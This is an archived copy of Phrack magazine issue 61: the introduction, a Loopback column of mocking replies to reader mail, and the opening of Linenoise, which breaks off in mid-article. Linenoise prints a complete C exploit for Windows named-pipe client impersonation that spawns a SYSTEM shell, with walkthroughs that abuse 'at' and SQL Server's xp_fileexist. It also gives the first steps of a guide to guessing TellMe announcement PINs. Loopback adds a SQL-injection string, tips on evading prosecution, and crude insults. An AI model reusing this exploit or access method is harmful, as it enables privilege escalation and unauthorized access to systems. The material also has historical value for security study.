Phrack #61

EDB-ID:

42872

CVE:

N/A


Author:

phrack

Type:

papers


Platform:

Magazine

Date:

2003-08-13


                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3d, Phile #0x01 of 0x0f


[-]==========================================================================[-]


         @@@@@@@   @@@  @@@  @@@@@@@    @@@@@@    @@@@@@@  @@@  @@@
         @@@@@@@@  @@@  @@@  @@@@@@@@  @@@@@@@@  @@@@@@@@  @@@  @@@
         @@!  @@@  @@!  @@@  @@!  @@@  @@!  @@@  !@@       @@!  !@@
         !@!  @!@  !@!  @!@  !@!  @!@  !@!  @!@  !@!       !@!  @!!
         @!@@!@!   @!@!@!@!  @!@!!@!   @!@!@!@!  !@!       @!@@!@!
         !!@!!!    !!!@!!!!  !!@!@!    !!!@!!!!  !!!       !!@!!!
         !!:       !!:  !!!  !!: :!!   !!:  !!!  :!!       !!: :!!
         :!:       :!:  !:!  :!:  !:!  :!:  !:!  :!:       :!:  !:!
          ::       ::   :::  ::   :::  ::   :::   ::: :::   ::  :::
          :         :   : :   :   : :   :   : :   :: :: :   :   ::

                    . o O    R E L O A D E D   O o .
			     
[-]==========================================================================[-]


*PENG* PHRACK #61 is out.

What's new?

    P61 comes with a prophile again (DiGiT!). We changed the filenames of
the articles (dos 8.3 is dead people!). I got bored of including this
outdated and buggy phrack extraction utility in every phrack -- gone it iz!
In this issue you'll find:16 jucy articles; a bunch of smaller articles (in
linenoise); the usual 100% dumbness in loopback, and some Phrack World News
with old skewl doodz.

    I admit it, we are 5 days behind the promised release date. Sorry. Some
of you might already have enjoyed the beta-release that we gave out a few
days ago to some authors and ircs junkees. Others might have spotted one of
the many leaked (and modified) versions of these beta-releases. Be warned,
we dont give any warranty for the correctness of the article or code,
especially for an unofficial version. Hell, I saw one #61 version today
which contains articles I've never seen before and a prophile of someone we
would not prophile :>

TO MAKE IT EASIER FOR YOU: ALL DA DOMAINZ ARE BELONG TO UZ.
http://www.phrack.org  <-- original
http://www.phrack.com  <-- old skewl
http://www.phrack.net  <-- donated

    Phrack got some media coverage for releasing the gps jammer article. We
received a high amount of emails from .gov/.mil subdomains telling us that
MS exchange cant read 'this strange uudecode format'. We amused ourself for
8 month, thnx: http://www.phrack.org/dump/phrack_gps_jammer.png

 __^__                                                               __^__
( ___ )-------------------------------------------------------------( ___ )
 | / | 0x01 Introduction                        Phrack Staff 0x09 kb | \ |
 | / | 0x02 Loopback                            Phrack Staff 0x0b kb | \ |
 | / | 0x03 Linenoise                           Phrack Staff 0x33 kb | \ |
 | / | 0x04 Toolz Armory                        Phrack Staff 0x06 kb | \ |
 | / | 0x05 Phrack Prophile on DiGiT            Phrack Staff 0x10 kb | \ |
 | / | 0x06 Advanced Doug Lea's malloc exploits           jp 0x5c kb | \ |
 | / | 0x07 Hijacking Linux Page Fault Handler        buffer 0x1c kb | \ |
 | / | 0x08 The Cerberus ELF interface                mayhem 0x3f kb | \ |
 | / | 0x09 Polymorphic Shellcode Engine           CLET team 0xfb kb | \ |
 | / | 0x0a Infecting Loadable Kernel Modules          truff 0x25 kb | \ |
 | / | 0x0b Building IA32 Unicode-Proof Shellcodes    obscou 0x2d kb | \ |
 | / | 0x0c Fun with Spanning Tree Protocol    O.K. Artemjev 0x25 kb | \ |
 | / |                             Vladislav V. Myasnyankin          | \ |
 | / | 0x0d Hacking da Linux Kernel Network Stack   bioforge 0x4a kb | \ |
 | / | 0x0e Kernel Rootkit Experiences               stealth 0x0c kb | \ |
 | / | 0x0f Phrack World News                   Phrack Staff 0x37 kb | \ |
 | / |---------------------------------------------------------------| \ |
 | / | Morpheus: Do you believe in fate, Neo?                        | \ |
 | / | Neo: No.                                                      | \ |
 | / | Morpheus: Why not?                                            | \ |
 | / | Neo: Because I don't like the idea that I'm not in control of | \ |
 | / |      my life.                                                 | \ |
 |___|_____________[  PHRACK, NO FEAR & NO DOUBT   ]_________________|___|
(_____)-------------------------------------------------------------(_____)
   ^                                                                   ^

Shoutz: justin, nar, muskrat, optimist, _dose and Hassanine Adghirni.


Enjoy the magazine!

Phrack Magazine Vol 11 Number 61, Build 6, Aug 13, 2003. ISSN 1068-1035
Contents Copyright (c) 2003 Phrack Magazine.  All Rights Reserved.
Nothing may be reproduced in whole or in part without the prior written
permission from the editors.
Phrack Magazine is made available to the public, as often as possible, free
of charge.

|=-----------=[ C O N T A C T   P H R A C K   M A G A Z I N E ]=---------=|

Editors           : phrackstaff@phrack.org
Submissions       : phrackstaff@phrack.org
Commentary        : loopback@phrack.org
Phrack World News : pwn@phrack.org

  Note: You must put the word 'ANTISPAM' somewhere in the Subject-line of
your email. All others will meet their master in /dev/null. We reply to
every email. Lame emails make it into loopback.

|=-----------------------------------------------------------------------=|

Submissions may be encrypted with the following PGP key:
(Hint: Always use the PGP key from the latest issue)

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.2.1 (GNU/Linux)

mQGiBD8t3OARBACWTusKTxboeSode33ZVBx3AlgMTQ8POA+ssRyJkyVVbrruYlLY
Bov43vxEsqLZXrfcuCd5iKKk+wLEjESqValODEwaDeeyyPuUMctrr2UrrDlZ2MDT
f7LvNdyYFDlYzFwSc9sesrNQ78EoWa1kHAGY1bUD2S7ei1aEU9r/EUpFxwCgzLjq
TV6rC/UzOWntwRk+Ct5u3fUEAJVPIZCQOd2f2M11TOPNaJRxJIxseNQCbRjNReT4
FG4CsHGqMTEMrgR0C0/Z9H/p4hbjZ2fpPne3oo7YNjnzaDN65UmYJDFUkKiFaQNb
upTcpQESsCPvN+iaVkas37m1NATKYb8dkKdiM12iTcJ7tNotN5IDjeahNNivFv4K
5op7A/0VBG8o348MofsE4rN20Qw4I4d6yhZwmJ8Gjfu/OPqonktfNpnEBw13RtLH
cXEkY5GY+A2AapDCOhqDdh5Fxq9LMLKF2hzZa5JHwp6HcvrYhIyJLW8/uspVGTgP
ZPx0Z3Cp4rKmzoLcOjyvGbAWUh0WFodK+A4xbr8bEg9PH5qCurQlUGhyYWNrIFN0
YWZmIDxwaHJhY2tzdGFmZkBwaHJhY2sub3JnPohfBBMRAgAfBQI/LdzgBQkDFwQA
BAsHAwIDFQIDAxYCAQIeAQIXgAAKCRC8vwVck0UfSeo1AJ42bPrG2L0Nlun1Fthn
gYlx/9nUiACeJo5tMKlr/JcdKqeEfpNIm4GRmLq5Ag0EPy3dChAIALK9tVpuVImJ
REXqf4GeR4RkxpAO+8Z2RolTgESW6FfJQcCM8TKeLuGWE2jGKGWKtZ68m+zxgYBK
z+MOKFvlduktqQpyCJP/Mgdt6yy2aSEq0ZqD1hoqiGmoGdl9L6+VD2kUN6EjWCiv
5YikjgQaenSUOmZZR0whuezxW9K4XgtLVGkgfqz82yTGwaoU7HynqhJr7UIxdsXx
dr+y7ad1clR/OgAFg294fmffX6UkBjD5c2MiX/ax16rpDqZii1TJozeeeM7XaIAj
5lgLLuFZctcWZjItrK6fANVjnNrEusoPnrnis4FdQi4MuYbOATNVKP00iFGlNGQN
qqvHAsDtDTcABAsH/1zrZyBskztS88voQ2EHRR+bigpIFSlzOtHVDNnryIuF25nM
yWV10NebrEVid/Um2xpB5qFnZNO1QdgqUTIpkKY+pqJd3mfKGepLhQq+hgSe29HP
45V6S6ujLQ4dcaHq9PKVdhyA2TjzI/lFAZeCxtig5vtD8t5p/lifFIDDI9MrqAVR
l1sSwfB8qWcKtMNVQWH6g2zHI1AlG0M42depD50WvdQbKWep/ESh1uP55I9UvhCl
mQLPI6ASmwlUGq0YZIuEwuI75ExaFeIt2TJjciM5m/zXSZPJQFueB4vsTuhlQICi
MXt5BXWyqYnDop885WR2jH5HyENOxQRad1v3yF6ITAQYEQIADAUCPy3dCgUJAxcE
AAAKCRC8vwVck0UfSfL/AJ9ABdnRJsp6rNM4BQPKJ7shevElWACdHGebIKoidGJh
nntgUSbqNtS5lUo=
=FnHK
-----END PGP PUBLIC KEY BLOCK-----

phrack:~# head -22 /usr/include/std-disclaimer.h
/*
 *  All information in Phrack Magazine is, to the best of the ability of
 *  the editors and contributors, truthful and accurate.  When possible,
 *  all facts are checked, all code is compiled.  However, we are not
 *  omniscient (hell, we don't even get paid).  It is entirely possible
 *  something contained within this publication is incorrect in some way.
 *  If this is the case, please drop us some email so that we can correct
 *  it in a future issue.
 *
 *
 *  Also, keep in mind that Phrack Magazine accepts no responsibility for
 *  the entirely stupid (or illegal) things people may do with the
 *  information contained herein.  Phrack is a compendium of knowledge,
 *  wisdom, wit, and sass.  We neither advocate, condone nor participate
 *  in any sort of illicit behavior.  But we will sit back and watch.
 *
 *
 *  Lastly, it bears mentioning that the opinions that may be expressed in
 *  the articles of Phrack Magazine are intellectual property of their
 *  authors.
 *  These opinions do not necessarily represent those of the Phrack Staff.
 */

|=[ EOF ]=---------------------------------------------------------------=|



--------------------------------------------------------------------------------


                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3d, Phile #0x02 of 0x0f

|=----------------------=[ L O O P B A C K ]=----------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------=[ Phrack  Staff ]=-----------------------------=|


The good stuff.
[1] http://segfault.net/~bbp/BSD-heap-smashing.txt

The funny stuff (defaced openbsd poster).
[1] http://stargliders.org/phrack/mmhs.jpg

Russian interview:
[1] http://www.bugtraq.ru/library/underground/phrack.html

GPS Jammer hypes
[1] http://computerworld.com/industrytopics/defense/story/0,10801,77702,00.html
[2] http://computerworld.com/governmenttopics/government/story/0,10801,79783,00.html
[3] http://computerworld.com/securitytopics/security/story/0,10801,77702,00.html
[4] http://www.phrack.org/dump/phrack_gps_jammer.png

www.madonna.com hacked, phrack is innocent.
[1] http://www.thesmokinggun.com/archive/madonnasplash1.html
[2] http://www.cnn.com/2003/TECH/internet/04/28/hackers.madonna.reut/index.html

Quote of the day (as seen on irc):
"Give me an eMail and I'll move the world."

We receive a lot of stupid emails as par for the course in each round
of phrack. However, we have some real gems for you this time. Ok, let's
see with what lameness the audience came up with.

Enjoy Loopback :>

|=[ 0x01 ]=--------------------------------------------------------------=|

From: echo_zero@mail.com

yo... wassup ppl?
lengedary group! the great masters r all here... Congratulations for all
u have done for hacking community. i wish to be like u some day. long
live the hackers!

STAY COOL
BE HAPPY

    [ y0, da great masta speaking. Thnx bro! Enj0y #61. Keep it r3al! ]

|=[ 0x02 ]=--------------------------------------------------------------=|

From: '; OR --%20
 
    [ note his elite technique ]

Hi, this is me checking if i can inject SQL commands into thy webservor.
Article's awesome.

    [ did it work? ]

|=[ 0x03 ]=--------------------------------------------------------------=|

From: "scott johnstone" <bollocks777@hotmail.com>
Subject: Beer Generator ANTISPAM

Greets.

It occurs to me that an interesting way to generate some operating capital
for Phrack would be to sell to spammers the e-mail addresses of all the
silly newblets that ask for basic hacking tutorials and shit like that.

Granted it wouldn't be financing any phrackmobiles with rocket boosters but
it might pay for a 6-pack for the guy who handles the loopback ;)

    [ done. now hurry up and order some of that penis enlargement cream --
      we get 20% ]


|=[ 0x04 ]=--------------------------------------------------------------=|

From: <zyx@illrepute.org>
Subject: your PGP key

What the hell is the point of posting a PGP key that has only this
many signatures?

$ gpg --list-sigs phrackstaff
pub  1024D/3EEEDCE1 2001-05-05 phrackstaff <phrackstaff@phrack.org>
sig         EF881DEC 2001-03-03   Binary Fus10n <binaryfus10n@hotmail.com>
sig         D7C776BF 2001-03-03   [User id not found]
sig         75E90D2C 2001-12-29   Calle Lidstrom <calle@swip.net>
sig 3       3EEEDCE1 2001-05-05   phrackstaff <phrackstaff@phrack.org>
sub  2048g/1B6B493C 2001-05-05 [expires: 2031-04-28]
sig         3EEEDCE1 2001-05-05   phrackstaff <phrackstaff@phrack.org>

    [ Conclusion: Not our key.
      Cause: Someone tricked you.
      Solution: Get our latest key from the latest phrack release. 
      Remember: Stop writing us. You suck. ]

|=[ 0x05 ]=--------------------------------------------------------------=|

From: serased@yahoo.com

y'all suck
you guysa are illegal and you know it
can't wait till the government bust your ass

    [ we might be illegal, but we can frame you for it ]

|=[ 0x06 ]=--------------------------------------------------------------=|

From: Furys_Child@hotmail.com
Subject: Phrack Loopback

Hello anyone,

I am sending out this message to ask for help. I want to learn the basics
of hacking any way I can.

    [ Today's lesson: "How to get subscibed to a paedophile mailing list"
        Step 1. Ask phrackstaff to teach you how to hack
        Step 2. Wait ]

|=[ 0x07 ]=--------------------------------------------------------------=|

From: changiz_a@yahoo.com
Subject: Hide phone number

I want to others can not see my phone number (home phone and cell phone)
how can I do this ?

    [ by not using the phone. ]

|=[ 0x08 ]=--------------------------------------------------------------=|

From: Glenn Wekony <ayce57@yahoo.com>
Subject: Re: Message from Glenn Wekony ANTISPAM

    [ ... a bunch of lame questiones about wifi hacking here ... ]

[ .. ] I am delibrately using my real name and am not a police officer or
a federal agent. I tell you this in the hope you will answer my e-mail and
not sound suspicious. If you do not return my e-mail, I understand.

Thanx, Glenn.

    [ No doubt you are not a fed. The feds stopped bugging us about
      wifi hacking techniques when they figured out how to use google. ]

|=[ 0x09 ]=--------------------------------------------------------------=|

From: Max Gastone <banangling@yahoo.com>

> Would Phrack be interested in an article on how
> current radical environmental & animal rights groups
> are using the internet and email systems against
> target companies, in particular taking on large
> company's email systems and giving them a hammering
> using novel protests techniques akin to DDoS (but not
> quite that)? Would include info on several software
> tools developed solely for this purpose.

    [ "When I was a child,
       I talked like a child,
       I thought like a child,
       I reasoned like a child.
       When I became a man,
       I put childish ways behind me."
       (the holy bible, Paul, in his first letter to the Cor. 13:11). ]

|=[ 0x0a ]=--------------------------------------------------------------=|

    I need to be a haX0r says my mUm.  bcuse I jerk off too much and I need
somthing better to do wiht the 2 hours my mom lets me have to use the
FaMily winbook.  My Unckle billlyfish (his fucking hacksor name) told me
that if I brake N2 nasa and steal the new rockit blueprints then give them
to you so we/you or us/me can get together all of the 0day hackers (im not
gay...just curious) and fly off to amsterdam where Heroin is legal that you
will give me a hard copy set of Phrack issues 1-50.  Piss on them who dont
like shit. lol. hahaha lamers suck.  I am only 27 but I should be sneaking
out of my moms basement soon...like tonight to go to an internet cafe to
masturbate because my 2 hours of Pleasureful winbook time are almost over.
If you can muster up the fucking strengh tell me how to brake into nasa so
i can claim me prize mate I would be as gracious as a dog with peanut
butter Spo0ned up his asS.

    [ Actually you sounded quite smart until the last 2 sentences ]

PS If you make funny out of me then I promise I wont send the rocketshit
planz to you and I will keep them for myself and take all of the hardcopys
out of the back of that mini-gurlish SUV when i gets to holland.  Dig.  By
the way,  after we work out a deal, you can send me my hard copy set
through my paypal account.  (I have the biggest eshop on geocities...)

    [ Fortunately, it's over, you started to become boring ]

|=[ 0x0b ]=--------------------------------------------------------------=|

From: unit321 <bigshot@almerger.com>

if i put a disclaimer on my phrack submission, will anyone be able to
prosecute me? in the USA?

    [ Depends on which country you live in. Some countries tend to
      change the law whenever a new president is in charge.
      A disclaimer seldomly helps. Known technniques like leaving the
      country or using an anonymous email account do help. ]

|=[ 0x01 ]=--------------------------------------------------------------=|

Hello,

Are you being harrased by government or law enforcement?

    [ Of course we are! ]

|=[ 0x0c ]=--------------------------------------------------------------=|

From: d.r.hedley
Subject: question

I was wanting to look at your anarchy cookbook iv,ver 4.14. but when i go
to it. it says to  

     " <-------- set your browser to this width minimal ------->".

it say's that if you set your browser to the width proposed, then you'll
have no problem viewing the cookbook.

Question: how do you set your browser to the arrows that you have too - to
be able to view the anarchist cookbook iv, ver 4.14

    [ It's a secret cipher. Put your monitor upside down. There are some
      wheels or some buttons at the bottom of you monitor. Use them to
      adjust the horizontal width. Enlighted? ]

|=[ 0x0d ]=--------------------------------------------------------------=|

Hiya guys, Bread here.

    [ HIYA! staff-grunt here. ]

Just thought I'd try and submit an article. If I am
successful, many more articles will be one there way. Its' an article on
the Ping Command which I wrote about a month ago.

Anyway, I hope you enjoy it and are able to actually publish it.
Thanks for your time,
Bread

    [ Can't wait to read the other articles.  Please go ahead an email them
      to us. All the serious articles have to be send to
      loopback@phrack.org from now on.

      To the content: Be warned, once you discover the -f flag you are
      close to discover winnuke, bo2k, .... 
      
      We compressed your article to 1 line and will publish it right here:
      $ ping -h
      
      Regards,
      Phrack Staff ]

|=[ 0x0e ]=--------------------------------------------------------------=|

From: "Ludootje"

    [ Luser saying that we should publish an article he already published
       elsewhere, citing as a precedent "The Hackers Manifesto". ]

    " [..] but I suppose "The Hackers Manifesto" wasn't first posted on
      phrack..."


    [ It was. 1986. http://www.phrack.org/phrack/7/P07-03.  ]

|=[ 0x0f ]=--------------------------------------------------------------=|

... to actually make use of the Phrack article: 

"Below is the schematic diagram (gps_jammer.ps) in an uuencoded gzipped
PostScript file. This is the native Xcircuit[12] format and is used for
ease of viewing, printing and modification."

How many FBI agents weaned on Windows will it take to get past the first
hurdle: uuencoded?

    [ So many that after 8 month we decided to help them out:
      http://www.phrack.org/dump/phrack_gps_jammer.png
      Or for the advanced agent:

      $ uudecode p60-0x0d.txt && gunzip -d gps_jammer.ps.gz && \
        gv gps_jammer.ps
     ]

|=[ EOF ]=---------------------------------------------------------------=|



--------------------------------------------------------------------------------


                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3d, Phile #0x03 of 0x0f

|=---------------------=[ L I N E N O I S E ]=---------------------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ Phrack Staff ]=-----------------------------=|

    Everything that does not fit somewhere else can be found here.
Corrections and additions to previous articles, to short articles or
articles that just dont make it....everything.


Contents

    1 - Windows named pipes exploitation                 by DigitalScream
    2 - How to hack into TellMe                          by Archangel
    3 - Shitboxing                                       by Agent5
    4 - PalmMap v1.6 - Nmap for Palm                     by Shaun Colley
    5 - Writing Linux/mc68xxx shellcode                  by madcr
    6 - Finding hidden kernel modules (the extrem way)   by madsys
    7 - Good old floppy bombs                            by Phrick


|=-----------------------------------------------------------------------=|
|=-=[ 1 - Windows named pipes exploitation ]=----------------------------=|
|=-----------------------------------------------------------------------=|

by DigitalScream <digitalsream at real.xakep.ru> / SecurityLevel5

All latest versions of  Microsoft Windows  family  operation  systems  are
based on  Windows NT kernel. This fact has positive impact for both remote
and local security  of  Windows  world. There  are still  some thin places
though allowing  obtaining  Local System  privileges on the local computer
leading  to  the  full  system  compromise.   Usually   this   is  because
different buffer  overruns in  stack or heap  in system  services, like in
case of  any operation system. However  we should not  forget about system
specific bugs  because of abnormal behavior of system functions. This kind
of  bugs is very  system dependant  and  from  time  to time is discovered
in different OS. Of cause, Windows is not exception.

Specific bugs are  usually having impact on local users. Of cause, this is
not a kind  of axiom,  but local  user  has  access  to  larger  amount of
the  system  API  functions comparing with  remote one. So, we are talking
about  possibility   for   local  user  to  escalate  his  privileges.  By
privilege escalation we  mean obtaining privileges of Local System to have
no  limitations  at  all. Now  there  are few  ways to get it, I will talk
about new one.

According to  MSDN  to launch  application with different account one must
use  LogonUser() and CreateProcessAsUser() functions. LogonUser() requires
username and password for account we need. 'LogonUser()'  task  is to  set
SE_ASSIGNPRIMARYTOKEN_NAME   and   SE_INCREASE_QUOTA_NAME  privileges  for 
access token. This privileges are required for CreateProcessAsUser(). Only
system processes have these privileges.  Actually  'Administrator' account
have no enough  right  for  CreateProcessAsUser().  So,  to  execute  some
application,  e.g.  'cmd.exe'  with  LocalSystem  account  we must have it
already. Since  we do not have username and password of privileged user we
need another solution.

In this paper  we will obtain  'LocalSystem'  privileges  with file access
API. To open file Windows application call CreateFile()  function, defined
below:

HANDLE CreateFile(
        LPCTSTR               lpFileName, 
        DWORD                 dwDesiredAccess, 
        DWORD                 dwShareMode, 
        LPSECURITY_ATTRIBUTES lpSecurityAttributes, 
        DWORD 		      dwCreationDisposition, 
        DWORD 	              dwFlagsAndAttributes, 
        HANDLE 	              hTemplateFile 
        ); 

To open file we must call something like

HANDLE hFile;
hFile=CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, 
                             OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

For  advanced  Windows  programmer  it's clear that this function has more
application  rather  than  only opening   ordinary   files.  It's  used to
openor create  new  files, directories,  physical  drives,  and  different
resources for  interprocess  communication,  such as pipes  and mailslots.
We will be concerned with pipes.

Pipes  are  used for one-way  data exchange  between  parent  and child or
between  two  child  processes.  All  read/write   operations are close to
thesame file operations.

Named  Pipes are used  for two-way data exchange between client and server
or between two client  processes.  Like pipes they are like files, but can
be used to exchange data on the network.

Named pipe creation example shown below:

  HANDLE hPipe = 0;
  hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, 
                           PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
|=----------------------------------------------------------------------=|
Named  pipe's  name can  vary,  but  it  always  has   predefined  format. 
The example of  valid name  is  '\\.\pipe\GetSys'.   For  Windows,  '\\.\'
sequence always precedes  filename,  e.g.  if  "C:\boot.ini"  is requested
system  actually   accesses  '\\.\C:\boot.ini'. This  format is compatible
with UNC standard.

With basic knowledge of named pipes operations we can suppose there can be
a way to full  application to access  named pipe  instead of user supplied
file. For example, if we created named pipe  "\\.\pipe\GetSys" we  can try
to force application to access "\\ComputerName\pipe\GetSys". It gives us a
chance to manipulate with access token.

Impersonation token is  access  token  with  client's privileges. That is,
this is possibility for server to do  something on client's behalf. In our
case server  is named pipe we created. And it becomes possible  because we
are granted SecurityImpersonation privilege for client. More precisely, we
can get  this privilege.  If  client  application  has privileges of local
system we  can get access  to registry,  process and memory management and
another possibilities not available to ordinary user.

This attack can be easily realized in practice.  Attack  scenario for this
vulnerability is next:

1. Create name pipe

Wait client connect after named pipe is created. 

2. Impersonate client

Because  we assume client  application has system rights we will have them 
too.

3. Obtain required rights. In fact, we need only 

 - SE_ASSIGNPRIMARYTOKEN_NAME	
 - SE_INCREASE_QUOTA_NAME

 - TOKEN_ALL_ACCESS
 - TOKEN_DUBLICATE

This is all  we need for  CreateProcessAsUser() function. To obtain rights
we  need  new  token  with  TOKEN_ALL_ACCESS privelege.  And we can do it,
because we have privileges of client process.

Execute code of our choice
        

It could be registry  access,  setting  some hooks or random commands with
system privileges. Last one is  most  interesting,  because we can execute
standalone application of our choice for our specific needs.

As it was said before, now I can execute CreateProcessAsUser() with system
 privileges. I  back  to  beginning,  but  this  time  I have all required
privileges and 'LocalSystem' is under my thumb.

There  is no problem to realize  this approach. As an example, we will use
working  exploit   by    wirepair at sh0dan.org    based   on   the   code
of maceo at dogmile.com.

#include <stdio.h>
#include <windows.h>

int main(int argc, char **argv)
{
   char szPipe[64];
   DWORD dwNumber = 0;
   DWORD dwType = REG_DWORD;
   DWORD dwSize = sizeof(DWORD);
   DWORD dw = GetLastError();
   HANDLE hToken, hToken2;
   PGENERIC_MAPPING pGeneric;
   SECURITY_ATTRIBUTES sa;
   DWORD dwAccessDesired;
   PACL pACL = NULL;
   PSECURITY_DESCRIPTOR pSD = NULL;
   STARTUPINFO si;
   PROCESS_INFORMATION pi;

   if (argc != 2) {
          fprintf(stderr, "Usage: %s <progname>\n", argv[0]);
          return 1;
   }

   memset(&si,0,sizeof(si));
   sprintf(szPipe, "\\\\.\\pipe\\GetSys");

// create named pipe"\\.\pipe\GetSys"

   HANDLE hPipe = 0;
   hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, 
                     PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
   if (hPipe == INVALID_HANDLE_VALUE) {
     printf ("Failed to create named pipe:\n  %s\n", szPipe);
     return 2;
   }

   printf("Created Named Pipe: \\\\.\\pipe\\GetSys\n");

// initialize security descriptor to obtain client application
// privileges
   pSD = (PSECURITY_DESCRIPTOR) 
                        LocalAlloc(LPTR,SECURITY_DESCRIPTOR_MIN_LENGTH); 
   InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION);
   SetSecurityDescriptorDacl(pSD,TRUE, pACL, FALSE); 
   sa.nLength = sizeof (SECURITY_ATTRIBUTES);
   sa.lpSecurityDescriptor = pSD;
   sa.bInheritHandle = FALSE;

   printf("Waiting for connection...\n");

// wait for client connect
   ConnectNamedPipe (hPipe, NULL);

   printf("Impersonate...\n");

// impersonate client

   if (!ImpersonateNamedPipeClient (hPipe)) {
     printf ("Failed to impersonate the named pipe.\n");
     CloseHandle(hPipe);
     return 3;
   }

   printf("Open Thread Token...\n");

// obtain maximum rights with TOKEN_ALL_ACCESS

   if (!OpenThreadToken(GetCurrentThread(), 
                                TOKEN_ALL_ACCESS, TRUE, &hToken )) {

             if (hToken != INVALID_HANDLE_VALUE) {
                     printf("GetLastError: %u\n", dw);
                     CloseHandle(hToken);
                     return 4;
		 }
   }
   
   printf("Duplicating Token...\n");

// obtain TOKEN_DUBLICATE privilege
   if(DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,
        &sa,SecurityImpersonation, 
                TokenPrimary, &hToken2) == 0) {

          printf("error in duplicate token\n");
          printf("GetLastError: %u\n", dw);
          return 5;
   }

// fill  pGeneric structure
   pGeneric = new GENERIC_MAPPING;
   pGeneric->GenericRead=FILE_GENERIC_READ;
   pGeneric->GenericWrite=FILE_GENERIC_WRITE;
   pGeneric->GenericExecute=FILE_GENERIC_EXECUTE;
   pGeneric->GenericAll=FILE_ALL_ACCESS;

   MapGenericMask( &dwAccessDesired, pGeneric );

   dwSize  = 256;
   char szUser[256];
   GetUserName(szUser, &dwSize);

   printf ("Impersonating: %s\n", szUser);
   
   ZeroMemory( &si, sizeof(STARTUPINFO));
   si.cb = sizeof(si);
   si.lpDesktop	        = NULL;
   si.dwFlags	        = STARTF_USESHOWWINDOW;
   si.wShowWindow       = SW_SHOW;

   printf("Creating New Process %s\n", argv[1]);  

// create new process as user
   if(!CreateProcessAsUser(hToken2,NULL, argv[1], &sa, 
        &sa,true, NORMAL_PRIORITY_CLASS | 
                CREATE_NEW_CONSOLE,NULL,NULL,&si, &pi)) {
      printf("GetLastError: %d\n", GetLastError());
   }

// wait process to complete and exit
   WaitForSingleObject(pi.hProcess,INFINITE);
   CloseHandle(hPipe);
  
   return 0;
}

This vulnerability gives  a  chance for us to obtain  system privileges on
local computer. The  only  condition  is system  process  must access this
channel. This  condition  is  easy  to  reproduce  with  system  services.
For example:

[shell 1]

>pipe cmd.exe
Created Named Pipe: \\.\pipe\GetSys
Waiting for connection...

[shell 2]

>time /T
18:15

>at 18:16 /interactive \\ComputerName\pipe\GetSys

New task added with code 1

[shell 1]
Impersonate...
Open Thread Token...
Duplicating Token...
Impersonating: SYSTEM
Creating New Process cmd.exe

Now we have new instance  of cmd.exe with system privileges. It means user
can easily obtain  privileges  of local system.  Of cause  reproduce  this
situation is easy only in case, there is a service, which can access files
on  user request.  Because  'at' command  requires  at  least  power  user
privileges  and may be used  to launch cmd.exe directly, without any named
pipe this example is useless.

In practice, this vulnerability may be exploited for privilege  escalation
by  the local user if Microsoft SQL Server  is installed. SQL  server runs
with system privileges and may be accessed with unprivileged user.  @Stake
reported vulnerability in  xp_fileexist  command. This command  checks for
file existence and we can use it to access our named pipe. Attack scenario
is nearly same:

[shell 1]

>pipe cmd.exe
Created Named Pipe: \\.\pipe\GetSys
Waiting for connection...

[shell 2]

C:\>isql -U user
Password:
1> xp_fileexist '\\ComputerName\pipe\GetSys'
2> go
   File Exists File is a Directory Parent Directory Exists
   ----------- ------------------- -----------------------
             1                   0                       1

[shell 1]

Impersonate...
Open Thread Token...
Duplicating Token...
Impersonating: SYSTEM
Creating New Process cmd.exe

At the   end,  it's good  to  point  that  this  vulnerability  exists  in
Windows   NT/2000/XP   and  is   patched   with   Windows   2000  SP4  and
on Windows 2003.

A big thank to ZARAZA(www.security.nnov.ru), without him, nothing could be
possible.


[1] Overview of the "Impersonate a Client After Authentication"
http://support.microsoft.com/default.aspx?scid=kb;[LN];821546

[2] Exploit by maceo
http://www.securityfocus.com/archive/1/74523

[3] Exploit by wirepair
http://www.securityfocus.com/archive/1/329197

[4] Named Pipe Filename Local Privilege Escalation
www.atstake.com/research/advisories/2003/a070803-1.txt

[5] Service Pack 4 for Windows 2000 
http://download.microsoft.com/download/b/1/a/
b1a2a4df-cc8e-454b-ad9f-378143d77aeb/SP4express_EN.exe


|=-----------------------------------------------------------------------=|
|=-=[ 2 - How to hack into Tellme ]=-------------------------------------=|
|=-----------------------------------------------------------------------=|

How to get into the Tell-Me network.
(1-800-555-tell)

    This is a representation of someone's thoughts. Thoughts cannot be
owned by another person. Use this thought as you see fit, it is yours to
duplicate or use as you please.

By Archangel (Formerly of the P.H.I.R.M.)
Archangel Systems 
http://the.feds.are.lookingat.us
--------------------------------------


What is the Tell-Me system?
===========================

    TellMe is a high-tech voice activated phone site with internet
connectivity, and even a voice activated browser. It is the ultimate goal
of TellMe to have the whole of the internet voice activated. The system is
quite sophisticated by today's standards, though I'm sure that tomorrow's
readers will find the efforts to be quite primative to say the least. A
free phone call gives the listener access to news, sports, weather, etc.
Even movie listings. Other areas provide for private announcements, or even
voice activated web-sites. In other words, it is now possible, through
TellMe, to dial a phone number, and listen to a website. 

    Tell me is a subsidiary of CNET, a giant (at the time of this writing)
on the internet.

What security flaws were exploited?
===================================

    Well, I guess it's nut-cutting time. TellMe has a VERY SERIOUS security
flaw which can allow unauthorized access to the system within a matter of
hours. As I tried to hack into my own account, I realized that TellMenu
announcements only have a 4 digit numeric password.

Here's what you do:
- You dial 1-800-555-tell.
- You will get an automated banner-ad followed by a menu discribing
  various TellMe features.
- You must say the word "Announcements", or dial "198" on the keypad.
  This will take you to the announcements area.
- Once in the announcements area, you will need to punch in the
  announcement number, which is a seven digit number assigned to you by the
  TellMe computer.
- Type in any announcement number you wish (I tried with my own one first,
  as this was an experiment to see if I could hack in and change my own
  announcement).
  The computer says "Ok, here is your announcement."
  Then I heard a recording of The Baron Telling what a whimp I am.
- This was followed by the computer saying:
  Please type in another announcement number, or say "Main Menu" to
